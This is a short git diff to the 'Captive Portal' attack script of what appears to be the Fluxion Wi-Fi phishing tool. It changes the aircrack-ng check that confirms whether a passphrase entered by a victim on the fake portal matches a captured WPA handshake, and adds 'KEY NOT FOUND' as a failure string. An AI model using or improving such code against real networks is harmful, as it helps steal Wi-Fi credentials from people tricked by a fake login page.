diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh
index 22ba28d..050b374 100755
--- a/attacks/Captive Portal/attack.sh	
+++ b/attacks/Captive Portal/attack.sh	
@@ -919,8 +919,8 @@ while [ \$AuthenticatorState = \"running\" ]; do
   if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
     echo "
     if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
-        # Check if we've got the correct password by looking for anything other than \"Passphrase not in\".
-        if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then
+        # Check if we've got the correct password by looking for anything other than \"Passphrase not in\" or \"KEY NOT FOUND\".
+        if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | egrep -qi \"Passphrase not in|KEY NOT FOUND\"; then
             echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
 
             sleep 1